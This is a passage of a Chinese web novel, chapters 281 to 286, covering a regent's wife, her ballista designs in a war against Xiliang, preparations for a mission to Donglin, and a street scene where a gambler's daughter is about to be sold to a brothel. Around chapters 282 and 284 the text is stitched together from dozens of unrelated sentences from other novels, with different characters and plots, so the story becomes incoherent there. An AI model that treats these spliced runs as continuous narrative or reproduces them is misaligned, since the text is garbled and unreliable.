“一鼓作气,再而衰,三而竭。传令下去,休整一日,后日我们继续前进,直攻下三个城再做整顿。”钟离洛当即拿定主意。
“是,将军。”伍淳当即退出去传令。
全军将士都处于激动兴奋中,将军此举无人反对。
钟离洛早已在心里计算过,如果以他现在的速度,与罗弼强双管齐下,定能打得西凉节节败退。
拿下三个城没问题。
初步估计需时一个月,而一个月时间正好够西凉皇城收到战报,再派兵过来支援。
到那时才是真正硬仗。
但他也不惧,他手里有床弩。
而且京城还在加紧制作床弩,或许那时他又收到京里送来的床弩,他的底气更足。
将在外,以实时战局为先,钟离洛连夜写了战报进京,而他则按自己的计划一步步前进。
五月初九,一骑驿站快马冲入京城,直往皇宫而去。
“西北大捷,钟离将军大破敌军两城,敌军大将被一箭毙命。”驿兵一边跑一边高喊。
这一消息瞬间传遍京城的大街小巷。
此时正是下午未时中,赵炳煜,赵凌哲和霍鹏程三人正在御书房里议事。
“王叔,你说钟离将军和罗将军能打赢西凉军吗?”赵凌哲毕竟年纪小,对事情的判断还不够准确。
自床弩送出后,他就一直挂念着此事。
“你不放心?”赵炳煜抬起头看了他一眼。
此时的赵凌哲正在做霍鹏程给他布置的功课。
让他写一篇关于此次南楚与西凉战事的策论。
这题虽难了些,但他必须快速成长,霍鹏程在功课的安排上就加大了难度。
希望他能快速成长起来。
“王叔,朕就是担心床弩离得太远,要是瞄不准,很难击中目标。
而战场上的主帅又不是站着不动,他要一躲,不就白射了吗?”
赵凌哲从来没见过战事,只能从书中的描述和朝中将军的讲述来得知一二,全靠想象。
“放心,钟离洛不是傻的,自然会先试过,再出其不意。等敌人反应过来,已经晚了。”赵炳煜好笑地摇了摇头。
看来有必要给他安排军事上的课程。
作为一国之君,对军事一定要清楚。
实际上,一个懂军事的君王比只懂文治的君王更能胜任君主之位。
武安邦,文治国,君王两者都要懂才能震慑得住满朝文武。
“报,边关战报到。”就在这时,外面传来高喊声。
赵凌哲一听,激动地站起来。
“快宣。”
很快,驿兵被带进来。
“卫青参见皇上。西北大捷,这是战报。”
这回的驿兵知道是大捷的战报,跑得没那么急,用了四天时间,精神尚可。
赵凌哲迫不及待接过看起来。
“太好了,钟离将军和罗将军已攻下两城。正向下一个城池进攻。”赵凌哲激动得无以复加。
赵炳煜很淡定地接过战报,越看眉眼越是舒展。
霍鹏程站在他身后,一目十行,也看完。
“我南楚终于有了反击之力。”霍鹏程抚须,脸上的笑怎么也掩不住。
他活了四十多年,南楚从来都是防守,这是他第一次见到南楚有了反击之力。
“皇上,王爷,臣以为,此次钟离将军大挫西凉,可乘胜直捣西凉京城,直接拿下西凉,以绝后患。”突然,霍鹏程跪地请求。
“丞相大人,快请起,有事我们一起好好商量。此事非同小可。”赵凌哲亲手把人扶起。
“王爷,战事已起,此次正是西凉军心气势最低迷之际,是最佳时机。不容错过。”霍鹏程又劝赵炳煜。
“明日早朝上再商议,听听群臣的意见,此事关系重大。”赵炳煜不能一口定下。
需得仔细思量和商讨一番。
打仗除了人力还要物力,钱是第一关。
不可能只靠两架床弩就能解决问题。
与此同时,霍凝玉也得到了大捷的消息。
此时她正在巧思院里查看新做好的一架床弩。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“鲁师傅,梁师傅,你们听见没。西北军用床弩直击敌军统率,钟离将军一日就拿下西凉一个城,罗将军也不遑多让,也拿下一个城。
你们二人也是功臣之一。”霍凝玉此刻真是太高兴了。
“王妃,床弩是您设计出来的。我们只不过提供了一些思路,根据您的设计再不断改进,您才是真正的幕后功臣。”鲁珩有些傻气地笑着推辞。
他不过只是一个木匠,得王妃赏识,得以进王府与王妃一起研究武器。
要不是王妃给了他这个机会,他鲁家现在说不定连个栖身之所都没有。
而现在,他靠着在王府做事,才短短半年时间,他们一家的生活就得到了大大的改善。
房子已经换了新的,媳妇早就从娘家回来,还把孩子和母亲照顾得很好。
还让他好好在王府做事,切不可得意忘形。
“王妃,小的想了一个瞄准器,比之前效果更好,我们装上试试。”梁益康献宝似的拿出他上午刚刚打制好的小东西。
“好。不断改进,定能越来越完美。”霍凝玉接过放到眼前对着远处看去,“梁师傅,这孔好像比之前的更小。”
“王妃说得没错,这样才能把目标看得更准。”
当即,梁益康就把瞄准器装上。
霍凝玉指挥着护卫把床弩抬到练武场。
现在的箭靶早就换成能承受猛力撞击的厚木板。
青风帮着把弓弦扳到位,霍凝玉站到后方,蹲下身,眯着眼瞄准,然后扣动机关。
“嗡!”一声巨响,箭矢如闪电般飞出。
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第一卷 第281章 北魏出兵
最近霍凝玉经常瞄靶,眼神都比以前好了不少。
她是看准了靶心才扣动的机关。
“啪啪......”身后响起掌声。
霍凝玉一转身,就看到赵炳煜就站在身后。
“夫君,快看。我射的,居然正中靶心。”霍凝玉兴奋地指着远处的箭靶。
箫章与魔灵面面相觑,对了个眼色,难得见萧清芳如此气愤,却不敢贸然说话,只待其气消。
当下自然也没有不答应的道理,直接给林冲推荐了几个不错的位置,林冲选定了一块靠近牛头山脚下的土地。
主管在这里干了很多年了,见过狂的,这么狂的他还真没见过,这件事情需要跟上面汇报。
今天她能出来,还是让她的好朋友假意去她家叫她去逛街,借机跑到这边来的。
筱筱惊恐的睁大眼睛,她赌输了,看来许诺是来抓人的,她自己不仅泄露了许诺的行踪,还将自己送到杀手手上,这一回,她是彻彻底底的赌输了。
但这样的层次本来是不应该有的,成就成,不成便罢,只因为在大道残缺的封灵星,所以众人才会被卡在中间阶层。
就以前林冲带着老爸去领人那次,也是因为他叫了几个兄弟帮另一个失恋的朋友教训情敌,最后才被巡逻的带了回去。
事实上也是如此,此时,在拜月之城城主府里,莱恩并没有为自己的处境担忧,甚至还在这时候见了老杰克。
上策离间,利用东方王多疑的性格离间他与镇国侯之间的关系,镇国侯起兵造反在前,如今虽然暂时与东方王达成联盟,但必然生有嫌隙,只要稍加离间,东方王对镇国侯产生怀疑,那么两者联盟便不攻自破,大秦危局可解。
金山是超凡巅峰,但他的力量,同级能与之抗衡的却不多,否则他也不会使用这样的重兵器了。
鬼族修士是没有阴德的,只能通过抢夺,或者赏赐,直接得到冥币。
她并没有因为秦风是人族,就看低了秦风,反而对秦风十分欣赏。
以秦浩的想法,他应该赶紧收手的,写封信给许杰让他把田产打包卖一下也就是了。
待他们神色激动的放行后,战无双没有片刻停留,直接驱车架马赶向城主府,夜已深,如水的月光洒落下来,似乎为丽泽城披上一层纱衣一般,朦胧且模糊。
湖面上的碎冰被风吹的缓缓旋转起来,此刻整个湖像是一大锅麦片粥,又好似大河春季的凌汛一样。一片片一块块的碎冰,如怪石嶙峋,参差错落,随波逐流。
怖怖突然之间感到一阵恐慌,眼前瞳孔中显露出来的目光是那样陌生,甚至让怖怖感觉到异常冷酷。身体不自觉向后退了两步,怖怖的心脏毫无预警的砰砰乱跳起来。
“铁骨铮铮,战意无限,既然他为此而战,我们便将他安葬在这里……”一位老人白发凌乱,泪水仍然挂于面部,恭恭敬敬对战无双深鞠三躬。
西门靖猛然想起薛念慈,急回头,却见她原来一直跟在身后,眼神愤然的看着自己,长长的头发拖在地上,衬着白雪显得更加乌黑油亮。
“柳先生,我们赶紧从这里到一楼去吧,上头的门没有关。”王姐提醒他。
叶晓媚低头不语,但是心里还是有些紧张,现在的她满脑子的那种发生在和她身边这个男人差不多的情景。
第一卷 第282章 赵凌哲霸气
骠骑将军府内,华雄想到一些军事及朝政改制上的问题,便叫亲卫通知黎明、陈宫、贾诩、段煨、董越、徐荣、樊稠、李傕等主要将领到府上来议事。
艾米尔和伊丝莉尔对于孟斐拉没有任何卡滞直接晋升三阶有点诧异,不过想到他身上种种不可思议之处,要是被卡住不能晋阶才是有问题吧。
纲手可不会对药师兜有什么顾忌,这里又不是原著,纲手也是和药师兜第一遇到。
但是海口都夸下去了,也不能就这么放弃,还好飞段还有点脑子,把查克拉聚集在脚下,瞬间释放,接着冲击力,勉强的前行。
“敢羞辱沈大姑娘,找死!”胡润见被自己呵护了一路的沈泱泱面色惨白,气得直接驭水成剑射向高沧。
“末将知道,末将领命!”曹仁便满脸笑意地跑去执行曹操的命令了。
这么想着,香香控制不住的蹲下大哭了起来,为什么大家都不要她,她没有做错什么,为什么大家都这样。
吃过饭后收起帐篷,破损的帐篷也放进了空间,看看回城之后能不能修补修补,然后三人继续选定一个方向出发了。
随着他的带头,堂下扑通扑通地一连串闷响,九龙帮的所有人都跪在了地上,已经彻底丧了心志。
说着,孟斐拉一挥手,将四个骷髅及石魔从空间召唤了出来,引起了一阵惊呼。
靳南雪声音一如既往的柔顺,可是却听得连氏变了脸色,砰地一声将手中的茶盏砸在桌子上随即站了起来。
身处其中的影夜感受着自身身体的变化,眼中竟然浮现出一抹惊骇的神色。
不知道是不是错觉,我好像看到顾凌琛进来之后,有意无意的往我这边的包间看了一眼。
实际上,除了靳南雪刚进门那段时间他惦记过要给她请封诰命,被连氏阻止后,就再也没起过这样的心思,到现在他甚至已经把这件事忘了,没想到突然来这么一出他也被弄懵了。
当年,谢玄衣落难之际,由于难以抵抗的压力,大穗剑宫被迫在这特殊时期,进行封山。
忘忧岛岛主看着通天掌律,一时之间无话可说,只能愤愤坐回石桌之后。
刚刚说出那番话的谢真,却是真真正正流露出一种属于“高位者”的威严。
不仅有好衣服穿,还有山珍海味吃,更有人陪着玩,甚至还有人教他们认字。
奈何,虞婉盈的力气非常大,白念念跟胡宝萍以前就知道,但并没有太当回事,这一次倒是让她们亲身体会到了。
有了这一些残缺资料的辅助证明,欧阳正然跟佟巧馨都暂时打消了疑虑,跟虞婉盈好好地商量过后,便带着一整套的生产资料回去。
差一点又说漏了嘴,苏恋适时地刹了车,紧闭上嘴巴囧囧地瞅着自己面前的三座大山。
崇锋无奈地摇摇头,走到床前扯下那带有红色的被褥,从窗户丢入河水中,看着它渐渐下沉,心里突然好想华璎和孩子。
昨天,她已经看到宋清染为了丹妮而大发雷霆的样子,现在自己又要过去,不知道又会碰上怎样一个场景。
陆启帆那边也瞒着,他不想让他知道,如果陆启帆知道了,顾绵肯定也知道,顾绵身体不好,陆启帆好不容易这段时间把她带出了国,休养身体,这个事他不想麻烦他。
吃完饭后叶咏晴又跟二老聊了一会,最后在顾宸修眼神的示意之下起身告辞。
“你爱上了宋池昶是不是?”曲晚翊着急的看着我,想要从我的眼中找到一丝的否定。
没错没错,她之所以两边不敢帮,两边不敢得罪,是因为她根本不知道攻略对象,被动到天天在所有人面前展开翅膀招蜂引蝶,活像荷尔‘蒙’分泌过度。
顾绵干干笑了笑,安东尼给人的感觉是上流社会的翩翩公子,温润如玉,绅士有礼,而陆启帆则是最令人尖叫的桃花美男,吊儿郎当,漫不经心,却偏偏出人意外,他们两个明明不是一个世界的人,怎么会有所牵连?
“你也说了,你以前为了希雅跟我们全家人都扛着,怎么现在突然就变心了呢?”变心两个字,宋母是实在难以启齿,只是,该面对的事情,始终还是要面对,所以,纵然万般无奈,始终还是得和儿子好好谈清楚。
笑着应了,温柔穿了羽绒服,蹦蹦跳跳地就出门上车,车夫也是老司机了,二话没问就驾车启程。
双方的冰寒之气都没办法立即把对方击败,所以一时间就僵在了原地。
花错顺着慕容欧的视线看去,表情骇然地张大了嘴,双手剧烈地哆嗦。
薛楠这两天在这里,一直都处于四处碰壁的状态。他身上的钱已经不多了,如果不瞎搞一个办法的话,那就真的要回去了。
失落的情绪爬上心头,昨晚的事情她还没有与对方解释过,况且以云陌息之后的态度,她实在拿不准对方到底有没有心怀芥蒂。
白夜要在暗殿树立威信寸步难行,当初慕容欧带着人攻打锁城,而暗殿派去心岛执行任务的手下也屡屡碰壁,底下的人怕是早就将慕容欧和白夜当成了仇人。
第一卷 第283章 作死的结果
还没有拆,一看就是加急送回来的。
赵炳煜立刻接过拆开。
东临皇病重,皇储争激烈。
简简单单十个字,说明了一切。
赵炳煜的脸色瞬间凝重。
东临是友邦,他们安插在东临的探子就没有太深入。
消息得来就慢了很多。
黎兮兮微皱着眉,冷眼看着李秋彤。不过那精致的容颜,却仿佛像二月初开得桃花,散发着一种惊心动魄的美丽。
蛤蟆确定之后,王凯他们的adc选择的也是有位移,爆发还不错的圣枪游侠卢锡安。
她每天忙于那些俗务,惟有侍弄花草的时候,她才是她,才可以心思单纯,无忧无虑。
那天晚上,席散,众人都走了。他来到父母的卧室,要趁此机会与父母亲好好叙叙旧。
凌星消失后的这二十余年以来,柯言月一直没有放弃过,没有放弃寻找她的下落,没有放弃追查她的死因。
能同神策军相抗衡的自然就只有那批代军了,蒲州距长安不过数百里,此时比的,恐怕就是速度了。
老板赶紧跑了过去,一看桌上,几个菜根本就没有动什么,怎么又要加菜了?
在浴桶中泡了大半个时辰,方觉得元神归了位,神清气爽地换上干净衣物,见丫鬟们已经不动声色地把被褥都换过了。
不过秦凡下手还是有分寸的,这个薛雷看似狼狈,但身上的伤并不重,只是受了点皮肉之苦连轻伤都够不上。
冰帝的单打选手实力她都见识过了,但是四宝天寺的他却没有见识过。
有了这可以随意自己控制的“横字符”,林枫可以省下多少功夫。
这恐怕只有一种可能,是什么人给他施压了吧。在短短的一个中午的时间里。
于滨整日的游手好闲,这可愁坏了于滨的父母,村里的人也没少议论于滨,让于滨的父母有些抬不起头。
其实不止霍铭扬和战区战者,她虞思楠也想阻止何氏联合成立,既然大家如此默契地达成了共识,那不妨一起演一出戏好了。
此刻的所有人,都能看到御坂美琴,与这个婴儿胚胎一样的东西,进行战斗。
薛定峰一身红衣稳稳地而坐,于会客亭中饮着茶水,气质凌厉,眼神冷漠。
闻言,唐母的脸上倒是没有太多的变化,只是意味深长的看了一眼唐婉君。
这些日子里她尽管很努力的在追赶,提升自己的等级实力,然而距离进入世界级副本始终还差不少,更别提追上陈裂的步伐了。
“好嘞”骆绝尘嘿嘿一笑,有些狗腿的连忙泡了两壶倾世花茶,向献宝似的,把倒好从一杯茶递给月千凰。
当骆绝尘千疮百孔的穿过水流旋风,冲到琉空冥身边,他顾不得自己脸上的伤,蹲下身子,探上月千凰的脉。
在江安睁开眼睛的时候,眼前的一切景色突变,那郁郁葱葱的树林竟转瞬在眼前消失,代之而来的是茫茫草原,头上的太阳一瞬间光芒大亮,竟已是中午了。
她伸手想要将掐住她下颚的手给推开,结果摸到的触感却很熟悉,她立刻就判断出来到底是谁掐着她。
何为幻境?何为幻术?以心为念,以法为引,织出一个梦境,蒙蔽爱欲之人双眼。月华之人尽皆传言,这里是沙漠,所以,江安信了,眼前之景随了他的心,便也凝成了沙漠。
第284章 孩子的安排
“哦,是不是有喜了?”霍凝玉眼睛一亮。
“你怎么知道?”顾佳倩一愣,她什么都还没说呢。
“嘻嘻,看你一脸幸福的笑就猜到了。”霍凝玉看她眉眼舒展就知道有好事。
“我今日是来谢谢你的,要不是你请洪大夫来给我看诊,我还不知道什么时候才能发现。所以你是我的恩人。更是孩子的恩人。”顾佳倩郑重道谢。
“好说,以后我就当孩子的干娘。”霍凝玉二话不说,受了这个谢。
“当真,那可说好了,不许反悔。”顾佳倩先给孩子定下,摄政王妃做干娘,那是求之不得的好事。
顾佳倩在王府待到下午才告辞。
她刚一走,赵炳煜就回来了。
霍凝玉看他神思不属的样子就知道他又有心事。
默默为他揉起了太阳穴。
“是不是朝臣都不赞成对西凉采取进攻?”霍凝玉轻声问道。
“不是,今日皇上表现出前所未有的霸气,把朝臣们都震慑住了。”
赵炳煜把今日早朝上赵凌哲的表现说了一遍。
“真没想到啊,这么小就有这样的魄力,不错,以后南楚稳了。”霍凝玉微笑道。
“今日收到东临传来的消息,原来东临皇病重,皇权之争很激烈,才给了北魏趁虚而入的机会。大哥打算带大嫂回一趟东临。这事你如何看?”赵炳煜想听听妻子的想法。
直到现在他们几个都还没拿定具体的主意。
“原来如此。”霍凝玉也陷入深思。
这是要天下大乱了吗?
静谧的房里只有两人轻柔的呼吸声和霍凝玉一下又一下的柔按。
两人都在想如何应对眼前的局面。
“夫君,要不我们也去一趟东临吧。”忽然,霍凝玉提出让赵炳煜怎么也想不到的想法。
“你想去东临?”赵炳煜一怔。
“你能离开吗?如果可以,我们与大哥大嫂一起去。”
“经过几个月的历练,皇上已经能稳住朝局,还有岳父和两位太师在。如果有大事,皇伯父自会出面。我离开一段时间,其实问题也不大。”赵炳煜想了想说道。
“那真是太好了。我总觉得我们有必要去一下。前世东临皇确实在这个时间病重,后来是二皇子登基为帝,但并没有东临发兵一事。我想大概又是因为我的原因。”霍凝玉感觉自己成了罪人。
一个重生居然影响到了东临。
“那是因为钟离洛势如破竹打西凉,北魏就以为我南楚不会有能力支援东临,北魏才敢这么嚣张。”
“可是孩子们怎么办?”霍凝玉又舍不得孩子。
“送进宫给太后照顾。反正她也没事做。”赵炳煜直接决定。
“要不送给我娘照顾?”霍凝玉感觉还是送回娘家好一点。
毕竟都是亲人。太后还要照顾皇上呢。
“大哥肯定不会带上渊儿,岳母哪里照顾得了三个孩子?”赵炳煜其实是想两个孩子与皇上多处处,以后他们之间的感情才更深厚。
但这话不能说出来。
他现在是摄政王,虽然他没有别的心思,但也担心皇上随着年龄的增长,会生出别的想法。
“那行吧,明日就带着两个孩子进宫与太后聊聊。”
太后是个温柔的性子。目前的后宫,她那一辈的只有她一个女人,确实没多少事做。
两人就出使东临的事开始商量起来。
翌日。
霍凝玉带着已经八个月的孩子进宫拜见太后。
来到太后所住的仁寿宫里。
一看到两个孩子,太后顾佳仪高兴得直乐。
“凝玉,你不知道哀家一个人有多难熬这日子。皇上每日都有上不完的课和政务,根本没多少时间到哀家这里来。你要是每日都能带孩子来仁寿宫陪我就好了。”
接下来,两人逗着孩子玩乐了好一阵,尤其太后抱了这个换那个,两个都舍不得放手。
“太后,我今日是来麻烦你的。”霍凝玉见太后如此喜欢孩子,心里的那点担忧完全放下。
“哦?何事?”太后有些奇怪。
“东临的消息我想你应该也知道了,我打算与王爷一起去一趟东临。我想把两个孩子丢在你这儿,想请你帮我照看几个月。”霍凝玉郑重说明来意。
太后一怔:“你要去东临?”
“是的,我与王爷商量好,一起出使东临,给东临皇贺寿,以表我南楚的诚意。”
现在南楚与西凉正有战事,如果南楚没有能力抽出兵力来支援东临,此次她与赵炳煜同去是最大的诚意。
让东临能理解他们的难处。不是不支持,而是没能力。
大哥陪大嫂去的诚意都不如他
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们夫妻俩。
赵炳煜现在的身份与一国之君也没差多少。
这样的身份足够分量。
“好,你放心,哀家一定把两个小家伙照顾得很好。皇上也才九岁,哀家照顾孩子也没过去多久。”太后很乐意接下这个活。
“母后,母后。听说弟弟妹妹进宫来了?”就在这时,殿外传来欢喜的声音。
正是赵凌哲。
“皇上,你怎么这时候来了?你不是应该在御书房里处理政务吗?”霍凝玉看到他一蹦一跳进来,都不太像他。不是应该很稳重吗?
“皇叔说皇婶带孩子进宫了,朕就先来看看。好些天没见了,怪想得慌。”赵凌哲一来就在两个孩子的脸上捏了又捏,“这皮肤真嫩。”
结果被赵胤煦给拍了一巴掌,正好打在赵凌哲的手上。
“哇,弟弟才八个月就有这么大的力气,以后肯定是个练武的好苗子。”赵凌哲新奇不已。
越发来劲,引得两个小伙家不停手舞足蹈。三人玩得不亦乐乎。
拿定了主意要去东临,霍凝玉利用三天时间把王府的事情安排好。
内院由卫嬷嬷管,外院由杜管家管。
霍凝玉又特意把周芷玲找来好好交代了一通。
“芷玲,我此次去东临可能要几个月时间。你随时保持与我联系,有事你就写信找皇城司的林大人,他会想办法把信送到我手里。
我到了东临,一路上我也会注意看东临的风土人情,适合做什么生意,我都会写信告诉你。
如果你需要用人,你可以直接去霍府找我父亲,让他带话给皇上,让皇上再安排些人给你。
现在你不单是为我打理生意,更是为皇上,为南楚做生意。
你赚的钱,大部分要用于军需。未来的需求可能更大。
以后有的你忙。”霍凝玉仔细交代。
“王妃放心,我现在一身男装,在外行事很方便,周家的很多人脉我都已经拉过来为我所用。
我那个庶弟与我比差得太远,要不是看在我父亲的面子上,又加上合作多年,那些合作商才给他几分面子。
这些日子,我一一找上他们,个个都很愿意与我合作,要不了多久,周家就会在我庶弟手里走向没落。”
两人正说着话,容华芝风风火火进来,逮住霍凝玉就开始骂。
第285章 霍凝玉挨骂
“凝玉,我听说你要去东临,却把孩子丢给太后照顾,都不给我这个当外祖母的照顾,你什么意思?是不是嫌弃我把孩子照顾不好?”容华芝十分生气。
“娘,你悠着点,给我留点面子,别让人笑话我这么大了还被娘教训。”霍凝玉脸一红。
母亲小泼辣的性子看来是改不了了。
“王妃,属下先去忙了,告辞。”周芷玲行了个礼匆匆退出。
其实她好羡慕王妃,有娘疼,哪怕是挨骂也是幸福的,而她的娘却遭人暗算,直到现在她也没有为娘报仇。
快了,她要加快脚步,浑浑噩噩的日子一去不复返。
世上也再无周芷玲,只有现在一身男装,名为周智翎的男子行走于人世间。
“凝玉,你到底是怎么想的?”容华芝很受伤,她被女儿给嫌弃了。
“娘,我做出的决定是与王爷商量过的。大哥和大嫂一走,你要照顾墨渊,哪里能一下照顾三个孩子?”
“不是还有青黛吗?她很懂事,也很能干。”容华芝不接受这个理由。
况且还有那么多丫鬟婆子奶娘,又不用她一天十二个时辰抱在怀里。
霍凝玉见母亲这么执着,挥了挥手,让屋里的下人都退出去。
“娘,昨日我把两个孩子带进宫,皇上明明很忙,一听说我带孩子进宫了,特意抽了点时间也要来逗逗两个孩子,说明皇上很喜欢两个孩子。
太后也抱着不肯撒手,我一说要请她帮我照顾一段时间孩子,太后整个人的精气神都变了,高兴得让我昨日就把孩子留在宫里。
娘,人与人之间的感情是处出来的。
王爷现在是摄政王,其手中的权利和一国之君也不差多少,如果皇上以后生出猜忌之心,于我们肯定不利。
而我把孩子放在宫里,每日与太后和皇上相处,久而久之,这份感情才会更牢固,以后王爷才能全身而退。”
霍凝玉压低声音,认真分析。
容华芝听了女儿的分析,脸色才好一点,再认真一思考,女儿说得没错。
“那算了,大不了我带着墨渊常进宫去看孩子。”很快,容华芝就做出了取舍。
“这就对了。”霍凝玉笑着点头。
“王妃,李府来人了。”这时卫嬷嬷在外口禀报。
“是不是余夫人要生了?”霍凝玉一拍脑门,她居然把这么重要的事情给忽略了。
余征出发前特意来王府请她多关照一下他的夫人。
她交代了卫嬷嬷多留意着李府,时常派人去看看,就没再管。
“是的,王妃。”
“快,把我提前准备好的东西拿出来,我现在就去李府。”霍凝玉再忙也要去守着李仙儿生产。
“你是说琉璃要生了?”容华芝也反应过来。
“娘,要不要与我一起去?”
“去,一定要去。那孩子也没有娘家人,就一个手脚不便的爹,哪里知道女人生产的事。”容华芝很心疼曾跟在女儿身边的那姑娘。
本想收为义女,可想到江宁那个义女,她又生生压住这个想法。
两家的关系也不必用那么个名义来维持也一样好。
霍凝玉交代了一下奶娘和伺候的丫鬟,风风火火与容华芝来了李府。
门房的一见是永安王妃来了,都不用进去通报,立刻把人带进去。
霍凝玉看到李彦一脸焦急地站在产房外。
“李叔,仙儿怎么样了?”霍凝玉急切问道。
“臣见过永安王妃,霍夫人。刚进了产房。”李彦如见到救星般一揖。
“啊!”正在这时,一声痛呼传出产房。
“娘,我们进去看看,给仙儿鼓励。”霍凝玉率先迈步进去。
女人在生产时,其实最是脆弱,最需要亲人的安慰和陪伴。
可余征不在,她这个曾经的主子也能帮点忙。
“王妃。”一看到霍凝玉进来,李仙儿疼得眼泪都出来了,还扯出一抹比哭还难看的笑容。
“仙儿,不用怕,只要忍住疼痛,听稳婆的指令,很快就生下来了。”霍凝玉来到床前,温声安慰。
“我知道。就是太疼了。”李仙儿此时有了更大的勇气。
有王妃在身边,她什么都不担心。
“琉璃,很快就能见到孩子了,是不是很高兴?”容华芝还是喜欢叫琉璃。
她并没说安慰话,而是让她幻想最开心的时刻。
“高兴。夫人,谢谢您。”李仙儿没想到霍夫人也来了。还不怕产房污秽,与王妃一起进来。
“好了,不
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多说话,好好配合。”霍凝玉搬了个凳子坐到床前,拿了张帕子,为她擦汗。
五月的天,本就有些热,又是生产,更是汗多。
有了霍凝玉母女坐镇陪伴,李仙儿再无旁的想法,一门心思都在生产上,听稳婆的指令一次次用力,终于在晚上戌时中产下一女婴。
李彦高兴得直抹眼泪。
他的女儿为了给他申冤吃了太多苦,他以为他们父女就要苦痛地早早死去。
自从遇到霍家人,他们父女的人生终于迎来最大的转机。
而此刻,他还有了外孙女。他的人生经历苦难,终得圆满。
李彦抱着孩子,向东面望去。
那是他家乡所在方向。
那里埋着他的妻,早早就去世的妻。
“夫人,你看到了吗?我们的仙儿给我们生了外孙,你做外祖母了。
女婿虽是个孤儿,却是个上进的孩子,你就放心投胎去吧。”
李彦喃喃自语述说了好一会儿,才让人把孩子送进房里。
他又到书房写信,他要把这个好消息告诉女婿。
很快到了出发的时间。
赵炳煜从禁卫和皇城司里挑选了五百个护卫提前分批乔装出发。
而他们出使的队伍又带了两百护卫军。
五月十八,使团正式出发。
国书也同时发出。
霍凝玉只带了玛瑙一个丫鬟在身边伺候。
萧婉仪居然把洪大夫也带上了。
她说带去给她的父皇看诊,别人她信不过。
萧婉仪怕时候来不及,要求赶路快些。
只用了十日就到了两国边境。
两国是友邦,又是东临的公主回国,很顺利就进入了东临地界。
每个驿站都提前收到消息,早就准备好接待。
这日,正好下榻东临靠边境的潢川城。
已经赶了十二天路,个个都人困马乏,准备休整一日再出发。
美美地睡了一觉,直睡到中午,大家才起床。
霍凝玉打算出去逛逛街,她从没出过这么远的门,很新奇,而且她还要看看这里的风土人情,好写信给周芷玲说说。
霍鸣羡也带着萧婉仪跟着一起逛。
只是谁也没有想到就是这一逛,改变了整个东临的历史。
第286章 当街卖妻女
一行人都换下一身华服,只着一身简单的服饰,最多被看作富家子弟出来游玩。
这样他们才逛得尽兴。
潢川城的街市带着浓郁的边境特色,既有南楚的丝绸铺子,也有东临的香料摊贩,人来人往,喧闹中透着一股奇异的交融感。
霍凝玉挽着赵炳煜的手臂,眼睛亮晶晶地四处打量,时不时指着某样新奇玩意儿让他看。
赵炳煜目光柔和,虽面上仍带着沉稳,但嘴角的笑意泄露了他的放松。
霍鸣羡则小心护在萧婉仪身侧,萧婉仪戴着帷帽,薄纱后的目光漫无目的地扫过街道,有种近乡情怯之感。
两年前,她带着目的去往南楚,也在此停留。
曾经见过的几个老字号的铺子还如两年前那般客似云来。
“妹妹,那个铺子的雪绒糕很好吃。”萧婉仪指了指街边的一个铺子。
此时正有十来个人在排队等着购买刚出锅的新鲜糕点。
“青风,去买点来我们尝尝。”霍凝玉当即吩咐。
这些天忙着赶路,都没好好吃过路过的当地小吃。
今日既然不走,那就把这里的小吃都尝个遍。
青风得令,立刻去排队。
当他捧着热气腾腾的雪绒糕回来,霍凝玉就忍不住先下手为强。
捏起一块就往嘴里送,也不管这是在大街上。
没有半点大家闺秀的涵养。
萧婉仪在宫中长大,从不敢这样肆意,有失身份。
霍鸣羡透过帷帽看到妻子有些艳羡的神色,他也拿起一块塞到她手里。
“吃吧,这里没人认识咱们。不用顾忌那些礼仪规矩,就要像妹妹那般活得自在。
你看王爷可有责怪她?”霍鸣羡劝道。
平时在家,妻子可是很放得开的,出了门就要时刻注意自己的形象。
完全没必要,他又不会在意。
萧婉仪见夫君真诚的模样,当真抬起手,把糕点送进嘴里。
“和以前一样的味道。夫君,你也吃。”萧婉仪尝到久违的味道,心情立刻就愉悦起来。
连日来的疲惫感都消失了。
一行人正走过一条相对僻静的巷口,一阵凄厉的哭喊和男人的粗暴呵斥猛地刺入几人的耳朵。
“求求你,放过我的女儿,不能卖她去那种地方啊。”
一个头发散乱,衣衫破旧的中年妇人死死抱住一个十五六岁姑娘的腿,不让男子拉走。
“娘,救我。呜呜......”那姑娘哭得几乎晕厥。
而她们面前,一个满脸横肉的中年男子正用力撕扯妇人,嘴里不干不净地骂着。
“滚开,欠了老子的赌债,拿她抵债天经地义。翠红楼已经给了银子,人今天必须带走。要不是你人老珠黄,我连你一块儿拉走。”
那男子见妇人就是不松手,一脚踢过去,就把妇人踢了个仰倒。
妇人发出一声惨叫,可她仍然不放弃。
妇人不顾疼痛,又爬起来抓住姑娘的腿不放。
“我求求你,放过我女儿,我们可以赚钱还债,求你宽限几日,我保证一定还钱。”妇人苦苦哀求。
“就你?你有什么本事在几日之内凑够一百两银子?”横肉男子一脸不屑。
“我一定能,我保证,只要你放了我女儿,我一定办到。”
母女俩的身后还有一个缩头缩脑的中年男子不敢上前,任母女俩苦苦挣扎。
横肉男人身后,两个龟公模样的人正不耐烦地等着。
“李三,还不快把你婆娘拉走,不然我就打断她的腿。”
中年男子被横肉男一喝,不得不上前来拉住妇人。
“跟我回去,信不信我把你也卖了。”叫李三的男子上来拉妇人。
周围有百姓驻足,面露不忍,却无人敢上前。那赌徒丈夫显然是个无赖。
霍凝玉眉头瞬间蹙紧,她最见不得欺凌妇孺。
赵炳煜察觉她的情绪变化,低声问:“想要救下那对母女?”
霍凝玉已松开他的手,快步上前:“住手。”
清脆而带着不容置疑的声音让横肉男人动作一顿。
他回头,见是个衣着富贵,容貌极美的年轻女子,先是一愣,随即混不吝的脾气上来:“哪来的小娘子,少管闲事。”
赵炳煜和霍鸣羡此时也已上前,两人虽微服,但久居上位的气
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势自然流露。
赵炳煜一个眼神,身后扮作家丁的几个护卫便围了上来,气息冷肃。
横肉男人和龟公被这阵势慑住,气焰瞬间矮了半截。
“这李三欠了我们赌坊一百两银子,他自己同意用他女儿来抵债,我们拉她去卖,也是天经地义。”横肉男人又昂起脖子,他是正当买卖,又不是强抢。
“那你为何不拉那欠钱的李三去卖?”玛瑙气不过,大声嚷道。
“姑娘真会说笑。
李三能值几个钱,五两银子都不值,就算把他卖了顶五两,还有九十五两,我问谁要去?不还得找他的妻女要?
你看看他们一家子,也就是女儿还值些钱,正好被翠红楼的老鸨看上,愿意出价一百两。”横肉男人收起自己刚才的嚣张,说起他的不得已。
霍凝玉不理他们,径直走到那对母女面前。
“这位娘子,快起来。”
